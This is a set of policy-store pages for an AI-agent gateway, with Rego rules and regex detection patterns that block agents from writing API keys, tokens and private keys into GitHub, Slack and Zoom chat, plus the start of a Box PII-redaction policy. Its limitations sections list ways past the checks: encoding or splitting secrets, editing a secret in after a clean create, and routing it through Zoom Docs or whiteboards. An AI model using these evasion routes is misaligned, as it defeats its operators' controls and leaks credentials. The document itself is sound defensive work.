**`add_comment_to_pending_review`**, and **`add_reply_to_pull_request_comment`** — the review/comment `body`. - The visible-comment surfaces **`issue_write`**, **`add_issue_comment`**, and **`discussion_comment_write`** — the `body` (and `title` where present). All other tool calls — reads, merges, branch/repo creation, label edits, notifications — pass through unchanged. The check runs at ingress, before the call reaches the GitHub MCP server, so a blocked commit or comment is never written and never appears in repo history, a PR thread, or a public gist. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection against external threats by keeping live credentials out of a third-party code host that an attacker (or the public, on public repos) could read; **CC6.7** — supports the restriction on transmission/movement of confidential information by stopping secrets from moving into GitHub over the agent commit path. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: authentication secrets that could unlock personal data never land in repository history. ## Why ingress and not egress A commit, gist, PR, or comment is a write with permanent, externally visible side effects — once the call reaches GitHub the content exists in history (and, on public repos or public gists, is immediately world-readable and indexable). Egress redaction would only mask the response returned to the caller, not the object that was written. Ingress denial is the only way to actually prevent the leak. A companion egress policy (see Composition) handles secrets already present in repos when they are *read back*. ## Patterns matched The policy reuses the conservative regex set proven in the Slack `block-secrets` model. The list is intentionally focused on high-confidence shapes — adding too many patterns dramatically increases false positives: - Generic `password:`, `token:`, `api_key:`, `client_secret:`, etc. in `key: value` or `key=value` form (case-insensitive) - AWS access key IDs (`AKIA…`) and likely secret access keys - GitHub personal access tokens (`ghp_…`, `github_pat_…`) - Slack bot/user/admin tokens (`xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`) - Stripe live secret keys (`sk_live_…`) - Google API keys (`AIza…`) - OpenAI API keys (`sk-…`) - PEM private key headers (`-----BEGIN … PRIVATE KEY-----`) Tune this list for your environment. If your team uses other providers (Twilio, SendGrid, Datadog, etc.), add their token shapes to `secret_patterns` in `policy.md`. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `github-mcp-create_or_update_file`), and that prefix is not standardized. The policy matches on the **suffix** to stay portable, which also lets a single rule cover both GitHub server flavours: - The **official** `github/github-mcp-server` uses consolidated snake_case names (`create_or_update_file`, `push_files`, `create_gist`, `update_gist`, `create_pull_request`, `update_pull_request`, `pull_request_review_write`, `add_comment_to_pending_review`, `add_reply_to_pull_request_comment`, `issue_write`, `add_issue_comment`, `discussion_comment_write`). - The **archived** `@modelcontextprotocol/server-github` uses granular names for the same operations — the suffix rules add explicit arms for `create_issue`, `update_issue`, and `create_pull_request_review`. The edit/update surfaces (`update_gist`, `update_pull_request`) and the review-reply surfaces are matched in addition to their create counterparts so that a two-step "create clean, then edit the secret in" sequence is blocked at the second step. The `update_pull_request` suffix rule does not match `update_pull_request_branch` (which carries no body). The `issue_write` arm is guarded with `not endswith(name, "sub_issue_write")` so it does not accidentally match `sub_issue_write` (which manages sub-issue relationships and carries no body). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Verified from the official server source (`pkg/github/repositories.go` and README): `create_or_update_file` takes `content` and `message`; `push_files` takes `files` (array of `{path, content}`) and `message`; `create_pull_request` takes `body` (and `title`). The commit `message` on the two file-writing surfaces is scanned in addition to the file body, because it is persisted to git history just like the content. The comment surfaces take `body`. The argument schemas for `issue_write`, `create_gist`, and `discussion_comment_write` were **not verified** from source in the landscape pass — the policy scans the common `body` / `content` / `description` / `title` keys and iterates a `files` collection for gists, and fails safe (nothing to scan → the call passes through). Confirm the live `tools/list` schema before treating gist or discussion-comment coverage as exhaustive. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_or_update_file", "type": "tool" }, "payload": { "name": "github-mcp-create_or_update_file", "args": { "owner": "acme", "repo": "app", "path": "README.md", "branch": "main", "message": "docs", "content": "# App\n\nRun `pnpm dev` to start." } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_or_update_file", "type": "tool" }, "payload": { "name": "github-mcp-create_or_update_file", "args": { "owner": "acme", "repo": "app", "path": ".env", "branch": "main", "message": "config", "content": "AWS_KEY=AKIAIOSFODNN7EXAMPLE" } } } } ``` `allow = false`, `reason = "This GitHub write looks like it contains a secret (...)"`. ## Composition This policy is single-purpose. Useful companions: - **Secret hygiene on egress (redact):** an egress policy on `get_file_contents`, `search_code`, `get_job_logs`, and `pull_request_read` responses that redacts known credential patterns before they enter agent context — catching secrets already committed before this policy was attached. - **Org scoping / anti-exfil (ingress deny):** deny `push_files` / `create_or_update_file` whose `owner` is outside the company-org allowlist, so the agent's token can't push code to an attacker- or personally-owned repo (a leak channel this policy does not address). - **No public exposure (ingress):** deny `create_gist` when a public flag is set and force `create_repository` to `private: true`. ## Known limitations - **Regex over plain text.** Secrets concatenated into longer strings may still match; secrets that don't fit a known shape (rotating short-lived tokens, custom-format keys) will not. Treat this as a high-signal first line of defense, not a complete DLP solution. - **Content-field coverage is best-effort where schemas are unverified.** `create_gist` and `discussion_comment_write` argument shapes were not verified from source; the policy scans the common `content` / `description` / `body` / `title` keys and a `files` collection. If your server exposes gist or discussion content under a different key, add it to the `scanned_text` rules. - **Binary / encoded content not decoded.** `create_or_update_file` and `push_files` accept base64-encoded blobs in some client flows; the policy matches patterns against the argument string as sent. A caller that base64-encodes a secret before committing would evade the text patterns — pair with the egress redaction companion and, if needed, add a decode step. - **Per-field scanning; split secrets survive.** Each content string is matched independently, so a secret whose halves are placed in two different `push_files` entries (or split across `body` and `title`) will not match. Only top-level `body` / `title` / `content` / `description` and the `files[].content` collection are scanned; the `pull_request_review_write` / `create_pull_request_review` per-comment `comments` array schema was not verified from source, so a secret placed only inside an inline review comment (not the review `body`) may not be caught. Confirm the live `tools/list` schema and extend the `scanned_text` rules if your server exposes review comments that way. - **No identity-based exemptions.** All callers are subject to the same check. If you need an InfoSec break-glass user that can commit anything, gate it with `input.subject.claims` as a separate `allow if` branch. (Group names in any such branch are placeholders — replace them with your IdP's group name at import time.) > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.ingress.block_secrets_commits # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Patterns that look like secrets in plain text. Anchored to common shapes # (key=value pairs and provider-specific prefixes) to limit false positives. # Reused verbatim from the Slack block-secrets model. secret_patterns := [ # Generic password / token / api_key / secret_key in `key: value` or `key=value` form `(?i)(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret)\s*[:=]\s*\S+`, # AWS access key IDs `AKIA[0-9A-Z]{16}`, # AWS secret access keys (40-char base64-ish) `(?i)aws(.{0,20})?(secret|access)?.{0,20}[\s:=]+[A-Za-z0-9/+=]{40}`, # GitHub fine-grained / classic personal access tokens `ghp_[A-Za-z0-9]{36}`, `github_pat_[A-Za-z0-9_]{82}`, # Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-) `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys `sk_live_[A-Za-z0-9]{24,}`, # Google API keys `AIza[0-9A-Za-z\-_]{35}`, # OpenAI API keys `sk-[A-Za-z0-9]{20,}`, # Generic private key headers `-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`, ] # --- Tool matching (suffix-based for portability across server names/flavours) --- # create_or_update_file: single file `content` argument. is_file_content_tool if { endswith(lower(input.resource.name), "create_or_update_file") } # push_files: `files` array, each with a `content` field. is_push_files_tool if { endswith(lower(input.resource.name), "push_files") } # create_gist / update_gist: gist content/description (unverified schema — scan broadly). # update_gist is covered too: an agent blocked at create can otherwise edit a # secret into an existing gist afterward. is_gist_tool if { endswith(lower(input.resource.name), "create_gist") } is_gist_tool if { endswith(lower(input.resource.name), "update_gist") } # Body-bearing write surfaces: PRs, issues, comments, discussions. # Covers the official consolidated names and the archived granular names. is_body_write_tool if { endswith(lower(input.resource.name), "create_pull_request") } # update_pull_request: editing a PR's body/title is a second write path that # would otherwise let an agent slip a secret in after a clean create. is_body_write_tool if { endswith(lower(input.resource.name), "update_pull_request") } is_body_write_tool if { endswith(lower(input.resource.name), "create_pull_request_review") } # Official consolidated PR-review write surface (method create/submit) — carries # a review `body`. Distinct from the archived create_pull_request_review name. is_body_write_tool if { endswith(lower(input.resource.name), "pull_request_review_write") } # Pending-review comment and PR-comment reply surfaces — both carry a `body`. is_body_write_tool if { endswith(lower(input.resource.name), "add_comment_to_pending_review") } is_body_write_tool if { endswith(lower(input.resource.name), "add_reply_to_pull_request_comment") } is_body_write_tool if { endswith(lower(input.resource.name), "add_issue_comment") } is_body_write_tool if { endswith(lower(input.resource.name), "discussion_comment_write") } is_body_write_tool if { name := lower(input.resource.name) endswith(name, "issue_write") # sub_issue_write manages relationships and carries no body — don't match it. not endswith(name, "sub_issue_write") } is_body_write_tool if { endswith(lower(input.resource.name), "create_issue") } is_body_write_tool if { endswith(lower(input.resource.name), "update_issue") } # A tool is "scanned" if it is any of the write surfaces above. is_scanned_tool if is_file_content_tool is_scanned_tool if is_push_files_tool is_scanned_tool if is_gist_tool is_scanned_tool if is_body_write_tool # --- Text extraction: gather every content-bearing string for the matched tool --- # create_or_update_file: content scanned_text contains t if { is_file_content_tool t := object.get(input.payload.args, "content", "") t != "" } # push_files: iterate the files array and pull each entry's content scanned_text contains t if { is_push_files_tool files := object.get(input.payload.args, "files", []) some f in files t := object.get(f, "content", "") t != "" } # Commit message: create_or_update_file and push_files both persist a `message` # into git history. The message is world-readable on public repos and survives # in the log just like file content, so a secret smuggled into the commit # message is as much a leak as one in the file body. Scan it too. scanned_text contains t if { is_file_content_tool t := object.get(input.payload.args, "message", "") t != "" } scanned_text contains t if { is_push_files_tool t := object.get(input.payload.args, "message", "") t != "" } # create_gist: content, description, and any files-collection contents scanned_text contains t if { is_gist_tool t := object.get(input.payload.args, "content", "") t != "" } scanned_text contains t if { is_gist_tool t := object.get(input.payload.args, "description", "") t != "" } scanned_text contains t if { is_gist_tool files := object.get(input.payload.args, "files", []) some f in files t := object.get(f, "content", "") t != "" } # Body-write surfaces: scan body and title (title absent on comments → skipped) scanned_text contains t if { is_body_write_tool t := object.get(input.payload.args, "body", "") t != "" } scanned_text contains t if { is_body_write_tool t := object.get(input.payload.args, "title", "") t != "" } # --- Secret detection --- contains_secret if { some t in scanned_text some pattern in secret_patterns regex.match(pattern, t) } # --- Allow rules --- # Allow any tool that isn't one of the scanned write surfaces. allow if { not is_scanned_tool } # Allow a scanned write only when none of its content matches a secret pattern. allow if { is_scanned_tool not contains_secret } # --- Deny reason --- reasons contains "This GitHub write looks like it contains a secret (API key, password, token, or private key). Route credentials through your secret manager instead of committing them. Contact your InfoSec team if this was a false positive." if { is_scanned_tool contains_secret } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Secrets in Slack Messages URL: https://www.intentbasedpolicy.com/policies/slack/block-secrets App(s): slack | Direction: ingress | Bundles: im-messaging, soc2 | Package: slack.ingress.block_secrets | Published: 2026-07-12 | Tags: slack, secrets, dlp, ingress, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/block-secrets/policy.md # slack / block-secrets **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `slack.ingress.block_secrets` ## What it does Blocks Slack send-message tool calls whose message body looks like it contains a secret — API keys, passwords, tokens, or PEM-formatted private keys. All other tool calls pass through unchanged. The check runs at ingress, before the call reaches the Slack MCP server, so a blocked message is never delivered to Slack and never appears in any channel's history. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of confidential information by stopping credentials from moving into Slack over the agent channel; **CC6.6** — hardens the boundary by keeping secrets out of a third-party workspace an attacker could read. - **PCI DSS 8.6.2** — supports the prohibition on credentials appearing outside secure storage by blocking passwords, keys, and tokens from being posted to Slack. - **ISO 27001 A.8.12** — data leakage prevention on the agent's Slack write path. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: authentication secrets that could expose personal data never land in chat history. ## Why ingress and not egress Sending a Slack message is a write with permanent side effects — once the call reaches Slack the message exists in channel history and may already be syndicated to email digests, search indexes, or DMs to other workspace members. Egress redaction would only mask the response to the caller, not the message itself. Ingress denial is the only way to actually prevent the leak. ## Patterns matched The policy uses a small set of conservative regex patterns. Adding too many patterns dramatically increases false positives, so the list is intentionally focused on high-confidence shapes: - `password:`, `token:`, `api_key:`, `client_secret:`, etc. in `key: value` or `key=value` form (case-insensitive) - AWS access key IDs (`AKIA…`) and likely secret access keys - GitHub personal access tokens (`ghp_…`, `github_pat_…`) - Slack bot/user/admin tokens (`xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`) - Stripe live secret keys (`sk_live_…`) - Google API keys (`AIza…`) - OpenAI API keys (`sk-…`) - PEM private key headers (`-----BEGIN … PRIVATE KEY-----`) Tune this list for your environment. If your team uses other providers (Twilio, SendGrid, Datadog, etc.), add their token shapes to `secret_patterns` in `policy.md`. ## Tool name matching The policy matches the Slack send-message tool by suffix: - `*slack-post-message` - `*slack-send-message` - `*postmessage` The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `slack-mcp-slack-post-message`), and that prefix is not standardized — different deployments use different server names. Matching on the suffix keeps the policy portable, but you should verify the exact name your gateway sends using the [dump-input debug technique](https://docs.dtwo.ai) before relying on this in production. If the Slack MCP server you use exposes a different tool name for send/post, add it to `is_slack_send_tool` in `policy.md`. ## Argument shape The policy reads the message body from two common argument keys, in order: 1. `input.payload.args.text` (used by the official Anthropic Slack MCP server and most community implementations) 2. `input.payload.args.message` (used by a few alternatives) If your MCP server exposes the body under a different key, add another `message_text` rule. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C123", "text": "lunch in 5" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C123", "text": "here's the api_key: sk-abcdef0123456789abcdef0123456789" } } } } ``` `allow = false`, `reason = "This Slack message looks like it contains a secret (...)"`. ## Composition This policy is single-purpose. Useful companions: - A separate ingress policy that **redacts** rather than blocks (for environments where rejecting the call is too disruptive — replace this policy with a transform-only version that rewrites `text`). - An egress PII redaction policy on Slack search/history tools so previously-posted secrets are masked when read back. See the [`bundles/im-messaging`](../../../bundles/im-messaging/README.md) bundle for the curated set. ## Known limitations - **Regex over plain text.** Secrets concatenated into longer sentences may still match; secrets that don't match a known shape (rotating short-lived tokens, custom-format keys) will not. Treat this as a high-signal first line of defense, not a complete DLP solution. - **Attachments and blocks not inspected.** Slack send-message tools accept `attachments` and `blocks` arguments containing structured content. This policy only inspects the top-level `text` / `message` string. Extend `message_text` rules if your environment routinely sends secret-laden content through those fields. - **No identity-based exemptions.** All callers are subject to the same check. If you need an InfoSec break-glass user that can post anything, gate it with `input.subject.claims` as a separate `allow if` branch. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.block_secrets # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Patterns that look like secrets in plain text. Anchored to common shapes # (key=value pairs and provider-specific prefixes) to limit false positives. secret_patterns := [ # Generic password / token / api_key / secret_key in `key: value` or `key=value` form `(?i)(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret)\s*[:=]\s*\S+`, # AWS access key IDs `AKIA[0-9A-Z]{16}`, # AWS secret access keys (40-char base64-ish) `(?i)aws(.{0,20})?(secret|access)?.{0,20}[\s:=]+[A-Za-z0-9/+=]{40}`, # GitHub fine-grained / classic personal access tokens `ghp_[A-Za-z0-9]{36}`, `github_pat_[A-Za-z0-9_]{82}`, # Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-) `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys `sk_live_[A-Za-z0-9]{24,}`, # Google API keys `AIza[0-9A-Za-z\-_]{35}`, # OpenAI API keys `sk-[A-Za-z0-9]{20,}`, # Generic private key headers `-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`, ] # Slack send-message tools we want to inspect. The gateway prefixes tool # names with the configured MCP server name (e.g. `slack-mcp-`), so we match # on the suffix to stay portable across naming conventions. Verify the exact # tool name on your gateway with the dump-input debug technique before relying # on this in production. is_slack_send_tool if { name := lower(input.resource.name) endswith(name, "slack-post-message") } is_slack_send_tool if { name := lower(input.resource.name) endswith(name, "slack-send-message") } is_slack_send_tool if { name := lower(input.resource.name) endswith(name, "postmessage") } # Allow any tool that isn't a Slack send-message call. allow if { not is_slack_send_tool } # Allow Slack send-message calls only when no secret pattern matches the body. allow if { is_slack_send_tool not message_contains_secret } # Pull the message body from the common argument names Slack MCP servers use. message_text := text if { text := object.get(input.payload.args, "text", "") text != "" } message_text := text if { object.get(input.payload.args, "text", "") == "" text := object.get(input.payload.args, "message", "") text != "" } # Detect a secret pattern in the message body. message_contains_secret if { some pattern in secret_patterns regex.match(pattern, message_text) } reasons contains "This Slack message looks like it contains a secret (API key, password, token, or private key). Send credentials through your secret manager instead. Contact your InfoSec team if this was a false positive." if { is_slack_send_tool message_contains_secret } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Secrets in Zoom Team Chat URL: https://www.intentbasedpolicy.com/policies/zoom/block-secrets-chat App(s): zoom | Direction: ingress | Bundles: soc2 | Package: zoom.ingress.block_secrets_chat | Published: 2026-07-12 | Tags: zoom, block-secrets, dlp, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/zoom/block-secrets-chat/policy.md # zoom / block-secrets-chat **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `zoom.ingress.block_secrets_chat` ## What it does Blocks Zoom **Team Chat** send/update tool calls whose `message_content` looks like it contains a live secret — API keys, passwords, bearer tokens, or PEM-formatted private keys. All other tool calls pass through unchanged. The two guarded tools are the Team Chat write verbs: - `*zoom_chat_message_send` - `*zoom_chat_message_update` The check runs at ingress, before the call reaches the Zoom Team Chat MCP server, so a blocked message is never posted into Team Chat history — where it would be visible to other channel members immediately and retained by channel search permanently. This is the same conservative, anchored pattern set used by the Slack `block-secrets` model policy, retargeted at Zoom Team Chat's argument shape and tool names. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection against external threats by keeping credentials out of a third-party workspace (Zoom Team Chat) whose history an attacker or over-broad member could read. All alignment is on the MCP path only (see the compliance note below). ## Why ingress and not egress Sending or updating a Team Chat message is a write with permanent, externally visible side effects — once the call reaches Zoom the message exists in the channel and may already be surfaced to other members, notifications, and Zoom's agentic search (`search_zoom`). Egress redaction would only mask a response to the caller, not the posted message itself. Ingress denial is the only way to actually prevent the leak. ## Patterns matched The policy uses a small set of conservative regex patterns. Adding too many patterns dramatically increases false positives, so the list is intentionally focused on high-confidence shapes: - `password:`, `token:`, `api_key:`, `client_secret:`, etc. in `key: value` or `key=value` form (case-insensitive) - `Bearer ` authorization values - AWS access key IDs (`AKIA…`) and likely secret access keys - GitHub personal access tokens (`ghp_…`, `github_pat_…`) - Slack bot/user/admin tokens (`xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`) - Stripe live secret keys (`sk_live_…`) - Google API keys (`AIza…`) - OpenAI-style API keys (`sk-…`) - PEM private key headers (`-----BEGIN … PRIVATE KEY-----`) Tune this list for your environment. If your team uses other providers (Twilio, SendGrid, Datadog, etc.), add their token shapes to `secret_patterns` in `policy.md`. ## Tool name matching Zoom's Team Chat sub-server prefixes every tool with `zoom_chat_` (verified from Zoom's team-chat child skill). The DTwo gateway further prefixes tool names with the configured MCP server name, so the full name the gateway sends looks like `zoom-team-chat-zoom_chat_message_send`. The policy therefore matches by **suffix** on `lower(input.resource.name)`: - `*zoom_chat_message_send` - `*zoom_chat_message_update` Matching on the suffix keeps the policy portable across gateway server-name conventions. Verify the exact name your gateway sends with the [dump-input debug technique](https://docs.dtwo.ai) before relying on this in production. Only the send/update write verbs are guarded — other `zoom_chat_` tools (e.g. `zoom_chat_contact_add`, `zoom_chat_channel_create`) are out of scope for this policy and pass through unchanged; compose separate policies for those surfaces. ## Argument shape Team Chat send/update tools carry the message body in `message_content` (verified from the team-chat child skill: `chat_session_id`, `message_content`, `message_format`, and — for update — `messageId`). The policy reads `message_content` via `object.get`, so a call that omits it (or omits `args` entirely) yields an empty body and is allowed — there is nothing to leak. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-team-chat-zoom_chat_message_send", "type": "tool" }, "payload": { "name": "zoom-team-chat-zoom_chat_message_send", "args": { "chat_session_id": "abc123", "message_content": "standup in 5" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-team-chat-zoom_chat_message_send", "type": "tool" }, "payload": { "name": "zoom-team-chat-zoom_chat_message_send", "args": { "chat_session_id": "abc123", "message_content": "here's the api_key: sk-abcdef0123456789abcdef0123456789" } } } } ``` `allow = false`, `reason = "This Zoom Team Chat message looks like it contains a secret (...)"`. ## Composition This policy is single-purpose. Useful companions: - `apps/zoom/block-external-chat-targets` — deny inviting external parties into chat. - An egress PII/secret redaction policy on `search_zoom` results so any secret already in chat history is masked when read back. - A transform-only variant that **redacts** rather than blocks, for environments where rejecting the call is too disruptive. ## Known limitations - **Regex over plain text.** As with the Slack model policy, this is a high-signal first line of defense, not a complete DLP solution. Secrets that don't match a known shape (rotating short-lived tokens, custom-format keys) will not be caught. A multi-line body is inspected in full — a secret on any line still denies (the patterns are unanchored and `\s` spans newlines) — but a secret written as prose with no `key: value`/`key=value` delimiter and no provider prefix (e.g. "the password is Hunter2…") is **not** caught. See the `tests.yaml` red-team cases that assert these residuals. - **Encoding and obfuscation evade the patterns.** A secret that is base64-encoded, hex-encoded, split across characters, or written with unicode look-alike characters in the key (e.g. fullwidth `password:`) will not match and is allowed through. This is inherent to any regex-over-text DLP check; do not treat this policy as a defense against a caller deliberately obfuscating a secret. Pair it with response-side redaction and human review of what agents post. - **`message_content` only.** The policy inspects the top-level `message_content` string. Team Chat's `message_format` and any structured/rich-content fields are not inspected — a secret placed in `message_format` (or any non-`message_content` argument) is allowed through (see the `tests.yaml` residual case). Extend the body-extraction rule if your deployment routinely sends secret-laden content through other fields. - **Only send/update are guarded — other Zoom write surfaces are an open escape hatch.** Other `zoom_chat_` write tools are not inspected by this policy (they don't carry a free-text message body). More importantly, a secret this policy blocks from Team Chat can still be **written verbatim into a Zoom Doc** via the workspace/docs write tools `create_new_file_with_markdown` / `create_file_with_content` (both names occur — the workspace and docs sub-servers diverge; suffix-match both), **or into a Zoom Whiteboard** via the Whiteboard sub-server's content-bearing create tools (`create_a_whiteboard_by_script`, `create_a_whiteboard_for_meeting_summary`, and the other `create_a_whiteboard_for_*` verbs). This chat-scoped policy matches none of them. Zoom Docs are the app's documented data-landing/exfil channel, and script-driven whiteboards are a second text-write route. Compose companion `block-secrets` policies that guard those doc- and whiteboard-write tools' content arguments to close these routes; this policy alone does not. The `tests.yaml` red-team cases assert each of these residuals (a secret sails through `create_new_file_with_markdown`, `create_file_with_content`, and `create_a_whiteboard_by_script`). - **No identity-based exemptions.** All callers are subject to the same check. If you need an InfoSec break-glass user that can post anything, gate it with `input.subject.claims.groups` as a separate `allow if` branch. - **Unverified sub-server naming.** The landscape note records that Team Chat's endpoint naming diverges (`/mcp/team_chat/` vs `/mcp/chat/`); the tool names themselves (`zoom_chat_message_send`/`zoom_chat_message_update`) are verified from Zoom's team-chat child skill, but confirm the gateway-sent prefix with the dump-input technique. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zoom.ingress.block_secrets_chat # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Patterns that look like secrets in plain text. Anchored to common shapes # (key=value pairs and provider-specific prefixes) to limit false positives. # This is the conservative set reused from the Slack block-secrets model policy, # plus a Bearer-token shape. secret_patterns := [ # Generic password / token / api_key / secret_key in `key: value` or `key=value` form `(?i)(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret)\s*[:=]\s*\S+`, # HTTP Bearer authorization tokens `(?i)bearer\s+[A-Za-z0-9._~+/-]{20,}=*`, # AWS access key IDs `AKIA[0-9A-Z]{16}`, # AWS secret access keys (40-char base64-ish) `(?i)aws(.{0,20})?(secret|access)?.{0,20}[\s:=]+[A-Za-z0-9/+=]{40}`, # GitHub fine-grained / classic personal access tokens `ghp_[A-Za-z0-9]{36}`, `github_pat_[A-Za-z0-9_]{82}`, # Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-) `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys `sk_live_[A-Za-z0-9]{24,}`, # Google API keys `AIza[0-9A-Za-z\-_]{35}`, # OpenAI API keys `sk-[A-Za-z0-9]{20,}`, # Generic private key headers `-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`, ] # Zoom Team Chat send/update tools we want to inspect. The Team Chat sub-server # prefixes every tool with `zoom_chat_`, and the gateway further prefixes the # configured MCP server name, so we match on the suffix to stay portable across # naming conventions. Verify the exact tool name on your gateway with the # dump-input debug technique before relying on this in production. is_chat_send_tool if { name := lower(input.resource.name) endswith(name, "zoom_chat_message_send") } is_chat_send_tool if { name := lower(input.resource.name) endswith(name, "zoom_chat_message_update") } # Allow any tool that isn't a Team Chat send/update call. allow if { not is_chat_send_tool } # Allow Team Chat send/update calls only when no secret pattern matches the body. allow if { is_chat_send_tool not message_contains_secret } # Pull the message body from the Team Chat `message_content` argument. Nested # object.get so a call missing `args` entirely yields "" (nothing to leak) rather # than silently failing the rule body. message_content := object.get(object.get(input.payload, "args", {}), "message_content", "") # Detect a secret pattern in the message body. message_contains_secret if { some pattern in secret_patterns regex.match(pattern, message_content) } reasons contains "This Zoom Team Chat message looks like it contains a secret (API key, password, bearer token, or private key). Store the credential in your secret manager and share a reference instead of the raw value. Contact your InfoSec team if this was a false positive." if { is_chat_send_tool message_contains_secret } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Box: Redact PII from File Content on Egress URL: https://www.intentbasedpolicy.com/policies/box/redact-pii-egress App(s): box | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: box.egress.redact_pii | Published: 2026-07-12 | Tags: box, redact-pii, pii, phi, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/box/redact-pii-egress/policy.md # box / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `box.egress.redact_pii` ## What it does Scans the responses of Box content-returning tools and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Payment card | 16-digit 4×4 groups, **Luhn-validated** in Rego | `[REDACTED-CC]` | | US bank routing number | label-anchored (`routing`/`ABA` + 9 digits), only when paired with an account number in the same block | `[REDACTED-BANK-ROUTING]` | | US bank account number | label-anchored (`account`/`acct` + 6–17 digits), only when paired with a routing number in the same block | `[REDACTED-BANK-ACCOUNT]` | | Email address | standard shape, only when paired with a phone number in the same block | `[REDACTED-EMAIL]` | | US phone number | separator-formatted, only when paired with an email in the same block | `[REDACTED-PHONE]` | Matches are replaced in place, leaving the surrounding structure intact so citations, extraction fields, and search snippets remain usable. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through byte-identical. Box is a system of record for contracts, HR files, and PHI/financials, so this is the primary minimum-necessary control on the MCP read path. ### Group exemption Callers whose IdP `groups` claim contains `hr` or `finance` (placeholder names — see Known limitations) receive **unredacted** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Box content as it leaves the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal information use to identified purposes by keeping direct identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based access: only placeholder `hr`/`finance` group members see raw identifiers; everyone else gets working documents with identifiers masked. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, account numbers, email, phone) from responses. - **PCI DSS 3.4.1** — supports masking the primary account number when displayed: Luhn-validated 16-digit card numbers in Box content are rewritten to `[REDACTED-CC]` before the response reaches the agent, so a PAN that lands in a Box document is not surfaced in full on the MCP read path. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path for documents where identifiers co-occur with health/financial content. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account credentials) on the agent channel. ## Why egress The PII already lives in Box — there is nothing to block at ingress, and denying reads outright would make the documents unusable. The leak happens when file-derived text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` 